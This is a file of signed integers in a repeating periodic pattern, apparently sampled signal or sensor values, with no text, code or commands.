--119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --66 -61 -136 -136 -136 -58 --32 --97 --119 --119 --93 -52 -136 -136 -136 -69 --25 --89 --119 --119 --98 -47 -136 -136 -136 -61 --33 --95 --119 --119 --89 -40 -136 -136 -136 -57 --36 --98 --119 --119 --91 -38 -136 -136 -136 -54 --38 --99 --119 --119 --91 -35 -136 -136 -136 -54 --40 --98 --119 --119 --91 -33 -136 -136 -136 -50 --41 --98 --119 --101 -22 -122 -93 --9 --88 --119 --119 --93 -38 -135 -109 -9 --59 --119 --119 --80 -49 -136 -117 -16 --69 --119 --119 --73 -53 -136 122 18 --66 --119 --119 -69 -56 -136 -127 -23 --65 --119 --119 --68 -61 -136 -127 -23 --62 --119 --119 --64 -60 -136 -130 -26 --61 --119 --119 --65 -62 -136 -131 -26 --61 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -27 --61 --119 --119 --64 -64 -136 -132 -29 --61 --119 --119 --64 -64 -136 -133 -28 --61 --119 --119 --64 -65 -136 -131 -27 --59 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --67 -61 -136 -131 -25 --58 --119 --119 --63 -64 -136 -131 -26 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --63 -62 -136 -128 -24 --61 --119 --119 --66 -65 -136 -130 -27 --56 --119 --119 --65 -64 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -66 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -63 -136 -131 -26 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --64 -66 -136 -131 -28 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -65 -136 -129 -27 --57 --119 --119 --64 -64 -136 -131 -27 --61 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -133 -26 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -62 -136 -129 -26 --59 --119 --119 --62 -64 -136 -133 -27 --60 --119 --119 --63 -65 -136 -130 -28 --57 --119 --119 --65 -65 -136 -132 -27 --59 --119 --119 --64 -66 -136 -131 -27 --59 --119 --119 --62 -62 -136 -130 -28 --57 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --119 +-128 +-128 -73 -69 -136 -136 -136 -87 --14 --91 --119 --119 --71 -54 -136 -136 -136 -69 --23 --89 --119 --119 --95 -48 -136 -136 -136 -62 --32 --94 --119 --119 --102 -43 -136 -136 -136 -55 --37 --95 --119 --119 --90 -40 -136 -136 -136 -55 --37 --97 --119 --119 --90 -34 -136 -136 -136 -51 --41 --99 --119 --100 -23 -118 -92 --8 --90 --119 --119 --95 -36 -136 -107 -6 --58 --119 --119 --80 -48 -136 -118 -15 --70 --119 --119 --72 -53 -136 +56 +127 123 -20 --67 --119 --119 --71 -58 -136 -126 -25 --63 --119 --119 --70 -57 -136 -129 -22 --61 --119 --119 --66 -61 -136 -129 -25 --62 --119 --119 --65 -63 -136 -132 -27 --60 --119 --119 --65 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -27 --61 --119 --119 --63 -64 -136 -133 -28 --60 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -130 -28 --59 --119 --119 --63 -62 -136 -131 -29 --59 --119 --119 --66 -62 -136 -132 -25 --57 --119 --119 --64 -63 -136 -131 -26 --59 --119 --119 --61 -63 -136 -133 -29 --61 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --66 -61 -136 -133 -25 --59 --119 --119 --62 -65 -136 -132 -27 --59 --119 --119 --63 -65 -136 -135 -26 --57 --119 --119 --63 -65 -136 -133 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -66 -136 -132 -30 --61 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --64 -65 -136 -133 -27 --61 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -65 -136 -131 -30 --60 --119 --119 --65 -61 -136 -133 -26 --61 --119 --119 --66 -65 -136 -130 -27 --57 --119 --119 --65 -63 -136 -134 -26 --58 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --65 -65 -136 -132 -30 --60 --119 --119 --66 -63 -136 -131 -26 --57 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --62 -65 -136 -132 -27 --59 --119 --119 --62 -62 -136 -130 -27 --57 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --63 -65 -136 -131 -29 --59 --119 --119 --66 -62 -136 -132 -25 --58 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -65 -136 -130 -27 --60 --119 --119 --62 -63 -136 -133 -28 --60 --119 --119 --64 -66 -136 -131 -29 --59 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --119 --60 -68 -136 -136 -136 -82 --11 --94 --119 --119 --69 -58 -136 -136 -136 -69 --25 --89 --119 --119 --97 -49 -136 -136 -136 -65 --32 --91 --119 --119 --103 -42 -136 -136 -136 -58 --35 --96 --119 --119 --90 -40 -136 -136 -136 +18 +-68 +-128 +-128 +-72 55 --37 --98 --119 --119 --91 -38 -136 -136 -136 +127 +122 +17 +-69 +-128 +-128 +-72 54 --37 --99 --119 --119 --92 -33 -136 -136 -136 -51 --41 --100 --119 --119 --92 -34 -136 -136 -136 -53 --39 --101 --119 --119 --94 -36 -136 -136 -136 -52 --40 --101 --119 --119 --95 -33 -136 -136 -136 -53 --38 --103 --119 --119 --93 -31 -136 -136 -136 -50 --41 --98 --119 --119 --96 -33 -136 -136 -136 -51 --40 --100 --119 --119 --93 -32 -136 -136 -136 -51 --38 --100 --119 --100 -25 -119 -93 --6 --89 --119 --119 --92 -38 -134 -111 -8 --61 --119 --119 --79 -49 -136 -118 -15 --70 --119 --119 --73 -53 -136 -124 -20 --66 --119 --119 --70 -59 -136 -126 -22 --64 --119 --119 --67 -59 -136 -129 -25 --62 --119 --119 --68 -61 -136 -130 -26 --61 --119 --119 --66 -63 -136 -132 -27 --61 --119 --119 --66 -63 -136 -131 -27 --61 --119 --119 --64 -63 -136 -131 -26 --61 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --62 -63 -136 -131 -26 --61 --119 --119 --65 -64 -136 -131 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -62 -136 -131 -28 --58 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -62 -136 -131 -29 --57 --119 --119 --65 -61 -136 -132 -25 --61 --119 --119 --66 -64 -136 -130 -26 --57 --119 --119 --65 -62 -136 -131 -26 --61 --119 --119 --67 -61 -136 -131 -25 --58 --119 --119 --64 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -27 --59 --119 --119 --62 -63 -136 -133 -28 --60 --119 --119 --66 -62 -136 -128 -25 --61 --119 --119 --67 -61 -136 -132 -25 --58 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --65 -61 -136 -131 -26 --61 --119 --119 --66 -63 -136 -130 -25 --57 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --119 --58 -70 -136 -136 -136 -85 --11 --93 --119 --119 --68 -56 -136 -136 -136 -70 --25 --88 --119 --119 --98 -45 -136 -136 -136 -60 --31 --91 --119 --119 --88 -38 -136 -136 -136 -58 --34 --96 --119 --119 --91 -40 -136 -136 -136 -54 --38 --99 --119 --119 --90 -37 -136 -136 -136 -54 --38 --99 --119 --119 --92 -36 -136 -121 -19 --68 --119 --119 --61 -51 -136 -113 -13 --73 --119 --119 --61 -49 -136 -121 +127 +123 18 -69 --119 --119 --72 -57 -136 -123 -23 --62 --119 --119 --69 -59 -136 -126 -24 --63 --119 --119 --66 -60 -136 -129 -24 --61 --119 --119 --64 -61 -136 -129 -25 --62 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -131 -27 --61 --119 --119 --65 -64 -136 -133 -26 --61 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -130 -28 --59 --119 --119 --63 -62 -136 -130 -28 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -62 -136 -129 -26 --59 --119 --119 --66 -62 -136 -130 -26 --58 --119 --119 --65 -60 -136 -133 -26 --60 --119 --119 --64 -64 -136 -131 -27 --61 --119 --119 --64 -64 -136 -132 -30 --61 --119 --119 --63 -61 -136 -129 -25 --61 --119 --119 --67 -60 -136 -132 -25 --58 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --63 -62 -136 -129 -28 --59 --119 --119 --63 -63 -136 -131 -27 --59 --119 --119 --62 -62 -136 -130 -29 --58 --119 --119 --64 -61 -136 -132 -26 --61 --119 --119 --66 -63 -136 -130 -27 --57 --119 --119 --65 -62 -136 -128 -25 --61 --119 --119 --65 -61 -136 -133 -26 --57 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -30 --61 --119 --119 --64 -65 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --61 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -65 -136 -131 -27 --57 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --64 -65 -136 -130 -27 --59 --119 --119 --62 -62 -136 -130 -29 --58 --119 --119 --66 -61 -136 -131 -26 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --64 -64 -136 -133 -26 --58 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --65 -63 -136 -132 -27 --59 --119 --119 --62 -63 -136 -136 -136 -57 --34 --95 --119 --119 --92 -49 -136 -136 -136 -67 --25 --89 --119 --119 --97 -43 -136 -136 -136 -57 --35 --94 --119 --119 --103 -40 -136 -136 -136 -57 --35 --97 --119 --119 --89 -36 -136 -136 -136 -54 --38 --99 --119 --119 --91 -35 -136 -136 -136 +-128 +-128 +-71 55 --38 --100 --119 --119 --93 -36 -136 -136 -136 -53 --38 --100 --119 --99 -26 -119 -91 --8 --89 --119 --119 --91 -37 -135 -109 -8 --61 --119 --119 --79 -48 -136 -118 -16 --70 --119 --119 --73 -54 -136 +127 124 20 --67 --119 --119 +-68 +-128 +-128 -72 -54 -136 -126 -21 --66 --119 --119 --71 -61 -136 -126 -23 --60 --119 --119 --66 -62 -136 -129 -25 --62 --119 --119 --64 -61 -136 +56 127 -24 --63 --119 --119 --119 --62 -72 -136 -136 -136 -81 --13 --91 --119 --119 +123 +18 +-69 +-128 +-128 -71 -57 -136 -136 -136 -69 --25 --89 --119 --119 --97 -46 -136 -136 -136 -61 --32 --93 --119 --119 --101 -39 -136 -136 -136 55 --36 --94 --119 --119 --92 -34 -136 -136 -136 -54 --35 --100 --119 --119 --91 -37 -136 -136 -136 -53 --37 --99 --119 --97 -25 -121 -91 --8 --88 --119 --119 --91 -35 -135 -110 -8 --61 --119 --119 --80 -48 -136 -119 -16 --70 --119 --119 +127 +123 +18 +-69 +-128 +-128 -73 56 -136 -123 -20 --66 --119 --119 --71 -55 -136 -125 -22 --66 --119 --119 --70 -57 -136 -130 -22 --63 --119 --119 --67 -63 -136 -131 -24 --60 --119 --119 --64 -62 -136 -130 -25 --61 --119 --119 --65 -64 -136 -131 -26 --61 --119 --119 --66 -62 -136 -132 -25 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -61 -136 127 -24 --62 --119 --119 --65 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --64 -65 -136 -131 -29 --59 --119 --119 --63 -63 -136 -131 -26 --59 --119 --119 --62 -62 -136 -132 -30 --61 --119 --119 --62 -62 -136 -129 -26 --62 --119 --119 --66 -61 -136 -133 -25 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --65 -65 -136 -132 -27 --60 --119 --119 --62 -62 -136 -129 -25 --61 --119 --119 --66 -63 -136 -131 -25 --58 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --61 -63 -136 -132 -27 --60 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --62 -64 -136 -131 -26 --60 --119 --119 --63 -63 -136 -132 -27 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --119 --58 -69 -136 -136 -136 -84 --12 --93 --119 --119 --69 -57 -136 -136 -136 -71 --24 --88 --119 --119 --96 -48 -136 -136 -136 -62 --31 --93 --119 --119 --101 -40 -136 -136 -136 -57 --36 --97 --119 --119 --88 -38 -136 -136 -136 -55 --38 --98 --119 --119 --89 -36 -136 -136 -136 -53 --39 --100 --119 --119 --93 -36 -136 -136 -136 -51 --37 --99 --119 --119 --93 -34 -136 -136 -136 -52 --39 --102 --119 --119 --93 -34 -136 -136 -136 -53 --39 --100 --119 --119 --93 -34 -136 -136 -136 -53 --39 --101 --119 --119 --93 -33 -136 -136 -136 +123 +18 +-68 +-128 +-128 +-73 54 --41 --100 --119 --119 --92 -34 -136 -136 -136 -52 --40 --101 --119 --119 --95 -35 -136 -136 -136 -50 --41 --99 --119 --102 -21 -121 -93 --10 --89 --119 --119 --92 -38 -134 -108 -7 --60 --119 --119 --79 -47 -136 -119 -16 --70 --119 --119 --74 -52 -136 +127 124 19 --66 --119 --119 -69 -58 -136 -126 -22 --64 --119 --119 --68 -61 -136 -127 -24 --62 --119 --119 --65 -59 -136 -126 -23 --63 --119 --119 --68 -59 -136 -131 -24 --60 --119 --119 --64 -64 -136 -133 -27 --60 --119 --119 --65 -62 -136 -128 -25 --62 --119 --119 --66 -61 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --61 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --58 --119 --119 --63 -63 -136 -133 -26 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --62 -63 -136 -133 -26 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --62 -62 -136 -133 -28 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -26 --58 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -29 --59 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -63 -136 -133 -26 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -26 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -65 -136 -133 -30 --61 --119 --119 --63 -65 -136 -133 -27 --61 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -65 -136 -130 -28 --57 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -25 --58 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -66 -136 -133 -28 --59 --119 --119 --119 --59 -72 -136 -136 -136 -85 --12 --93 --119 --119 --69 -57 -136 -136 -136 -69 --26 --89 --119 --119 --96 -47 -136 -136 -136 -61 --31 --92 --119 --119 --101 -39 -136 -136 -136 +-128 +-128 +-72 56 --37 --95 --119 --119 --89 -39 -136 -136 -136 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 55 --37 --99 --119 --119 --90 -37 -136 -136 -136 -53 --39 --99 --119 --119 --91 -34 -136 -136 -136 -52 --38 --99 --119 --119 --93 -35 -136 -136 -136 -52 --40 --99 --119 --119 --92 -32 -136 -136 -136 -49 --42 --100 --119 --119 --94 -33 -136 -136 -136 -53 --40 +127 +122 +18 +-69 +-128 +-128 +-128 +-66 +62 +127 +127 +127 +76 +-21 -101 --119 --119 --93 -34 -136 -136 -136 -52 --41 --102 --119 --119 --93 -34 -136 -136 -136 -52 --41 --101 --119 --119 --93 -33 -136 -136 -136 -51 --40 --101 --119 --119 --93 -34 -136 -136 -136 -53 --39 --100 --119 --119 --94 -34 -136 -136 -136 -51 --41 --101 --119 --119 --94 -35 -136 -136 -136 -51 --41 --100 --119 --119 --93 -31 -136 -136 -136 -50 --41 --99 --119 --119 --95 -34 -136 -136 -136 -51 --41 --101 --119 --119 --93 -33 -136 -136 -136 -52 --40 --101 --119 --100 -25 -117 -93 --9 --88 --119 --119 --92 -37 -134 -108 -7 --61 --119 --119 --81 -48 -136 -116 -16 --70 --119 --119 +-128 +-128 -77 -51 -136 -124 -17 --65 --119 --119 --70 -58 -136 -127 -23 --64 --119 --119 --68 -61 -136 -130 -23 --60 --119 --119 --66 -63 -136 -131 -24 --60 --119 --119 --67 -59 -136 -132 -24 --60 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --64 -65 -136 -134 -26 --57 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -133 -28 --60 --119 --119 --62 -63 -136 -131 -27 --58 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -66 -136 -132 -28 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --64 -66 -136 -134 -26 --57 --119 --119 --65 -61 -136 -132 -26 --61 --119 --119 --66 -64 -136 -129 -27 --57 --119 --119 --65 -61 -136 -133 -25 --59 --119 --119 --119 --61 -69 -136 -136 -136 -84 --10 --94 --119 --119 --68 -57 -136 -136 -136 -69 --25 --89 --119 --119 --96 46 -136 -136 -136 -63 --32 --94 --119 --119 --101 -42 -136 -136 -136 -57 --35 --96 --119 --119 --89 -38 -136 -136 -136 -55 --36 --98 --119 --119 --90 -34 -136 -136 -136 -52 --39 --97 --119 --119 --94 -37 -136 -123 -19 --66 --119 --119 --61 -50 -136 -113 -12 --73 --119 --119 --61 -49 -136 -117 -16 --67 --119 --119 --71 -55 -136 -124 -21 --65 --119 --119 --68 -58 -136 127 -24 --63 --119 --119 --67 -60 -136 -129 -25 --62 --119 --119 --65 -59 -136 -125 -23 --63 --119 --119 --67 -62 -136 -129 -25 --58 --119 --119 --66 -63 -136 -132 -25 --59 --119 --119 --66 -59 -136 -132 -25 --60 --119 --119 --64 -63 -136 -130 -26 --59 --119 --119 --62 -62 -136 -133 -28 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -29 --59 --119 --119 --63 -65 -136 -133 -28 --60 --119 --119 --64 -63 -136 -132 -30 --61 --119 --119 --65 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -130 -29 --59 --119 --119 --63 -65 -136 -131 -29 --58 --119 --119 --62 -62 -136 -133 -30 --61 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -30 --58 --119 --119 --66 +127 +127 61 -136 -132 -26 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -129 -27 --59 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -131 -30 --59 --119 --119 --66 -63 -136 -131 -26 --57 --119 --119 --65 -63 -136 -130 -27 --58 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --64 -65 -136 -133 -28 --60 --119 --119 --64 -65 -136 -131 -30 --59 --119 --119 --65 -63 -136 -131 -26 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -26 --59 --119 --119 --64 -66 -136 -133 -29 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --61 -64 -136 -132 -28 --60 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --65 -61 -136 -130 -26 --62 --119 --119 --66 -63 -136 -130 -26 --57 --119 --119 --65 -63 -136 -131 -26 --59 --119 --119 --62 -62 -136 -136 -136 -59 -34 --96 --119 --119 --93 -49 -136 -136 -136 -67 --27 --103 --119 --119 -98 -45 -136 -136 -136 -60 --33 --95 --119 --119 --88 -41 -136 -136 -136 -60 --36 --96 --119 --119 --89 -38 -136 -136 -136 -55 --38 --98 --119 --119 --92 -37 -136 -136 -136 -53 --39 --100 --119 --119 --93 -34 -136 -136 -136 -51 --37 --100 --119 --98 -23 -116 -88 --10 --91 --119 --119 --95 -33 -136 -110 -6 --60 --119 --119 --80 -49 -136 -119 -15 --71 --119 --119 --74 -53 -136 -123 -20 --66 --119 --119 --70 -59 -136 -125 -21 --64 --119 --119 --66 -60 -136 -127 -23 --63 --119 --119 --67 -63 -136 -130 -26 --61 --119 --119 --63 -63 -136 -131 -26 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -63 -136 -132 -27 --59 --119 --119 --63 -63 -136 -130 -26 --61 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -29 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --65 -63 -136 -129 -25 --59 --119 --119 --119 --60 -70 -136 -136 -136 -82 --13 --91 --119 --119 --69 -58 -136 -136 -136 -69 --25 --88 --119 --119 --95 -47 -136 -136 -136 -62 --32 --94 --119 --119 --102 -42 -136 -136 -136 -57 --35 --97 --119 --119 --90 -40 -136 -136 -136 -55 --37 --99 --119 --119 --92 -38 -136 -136 -136 -53 --38 --99 --119 --119 --91 -36 -136 -122 -20 --67 --119 --119 --59 -48 -136 -114 -11 --73 --119 --119 --61 -50 -136 -119 -17 --69 --119 --119 --71 -56 -136 -124 -21 --65 --119 --119 --69 -57 -136 -127 -24 --63 --119 --119 --66 -61 -136 -127 -24 --62 --119 --119 --65 -61 -136 -130 -26 --61 --119 --119 --64 -63 -136 -130 -26 --61 --119 --119 --66 -63 -136 -131 -26 --60 --119 --119 --63 -62 -136 -132 -26 --59 --119 --119 --63 -63 -136 -131 -26 --61 --119 --119 --65 -63 -136 -131 -29 --59 --119 --119 --62 -62 -136 -131 -27 --59 --119 --119 --62 -62 -136 -133 -28 --60 --119 --119 --64 -64 -136 -132 -30 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -62 -136 -127 -25 --62 --119 --119 --66 -60 -136 -132 -25 --59 --119 --119 --64 -65 -136 -130 -28 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --65 -64 -136 -131 -27 --59 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -131 -29 --59 --119 --119 --63 -63 -136 -132 -29 --59 --119 --119 --65 -60 -136 -133 -25 --60 --119 --119 --62 -61 -136 -129 -26 --62 --119 --119 --66 -61 -136 -132 -26 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -64 -136 -130 -29 --58 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --64 -64 -136 -132 -29 --58 --119 --119 --63 -64 -136 -136 -136 -58 --35 --96 --119 --119 --94 -52 -136 -136 -136 -68 --26 --89 --119 --119 --98 -46 -136 -136 -136 -59 --33 --95 --119 --119 --103 -40 -136 -136 -136 -57 --36 --97 --119 --119 --89 -36 -136 -136 -136 -55 --37 --99 --119 --119 --91 -37 -136 -136 -136 -54 --39 --100 --119 --119 --92 -33 -136 -136 -136 -51 --41 --98 --119 --101 -22 -123 -94 --9 --88 --119 --119 --93 -37 -134 -108 -9 --60 --119 --119 --80 -49 -136 -116 -15 --69 --119 --119 --73 -52 -136 -119 -17 --68 --119 --119 --73 -58 -136 -124 -21 --62 --119 --119 --67 -61 -136 -128 -25 --62 --119 --119 --65 -62 -136 -132 -27 --59 --119 --119 --64 -63 -136 -130 -26 --61 --119 --119 --119 --59 -72 -136 -136 -136 -83 --13 --94 --119 --119 --69 -57 -136 -136 -136 -68 --25 --88 --119 --119 --95 -46 -136 -136 -136 -62 --31 --93 --119 --119 --101 -41 -136 -136 -136 -58 --35 --96 --119 --119 --88 -37 -136 -136 -136 -55 --37 --98 --119 --119 --90 -37 -136 -136 -136 -53 --39 --100 --119 --97 -26 -121 -93 --6 --89 --119 --119 --91 -37 -134 -109 -7 --61 --119 --119 --81 -49 -136 -118 -16 --70 --119 --119 --73 -54 -136 -123 -20 --67 --119 --119 --70 -59 -136 -125 -24 --62 --119 --119 --70 -59 -136 -127 -22 --60 --119 --119 --66 -62 -136 -129 -25 --62 --119 --119 --64 -63 -136 -130 -26 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --67 -60 -136 -132 -25 --62 --119 --119 --67 -63 -136 -130 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -64 -136 -132 -27 --60 --119 --119 --62 -63 -136 -133 -28 --60 --119 --119 --65 -61 -136 -133 -26 --61 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --65 -64 -136 -133 -26 --59 --119 --119 --62 -63 -136 -131 -27 --59 --119 --119 --62 -62 -136 -131 -27 --59 --119 --119 --62 -62 -136 -133 -27 --60 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -66 -136 -131 -29 --61 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --62 -62 -136 -129 -25 --62 --119 --119 --65 -66 -136 -131 -28 --59 --119 --119 --62 -62 -136 -128 -24 --62 --119 --119 --65 -64 -136 -131 -29 --61 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --65 -62 -136 -131 -27 --61 --119 --119 --65 -62 -136 -128 -25 --62 --119 --119 --64 -63 -136 -131 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 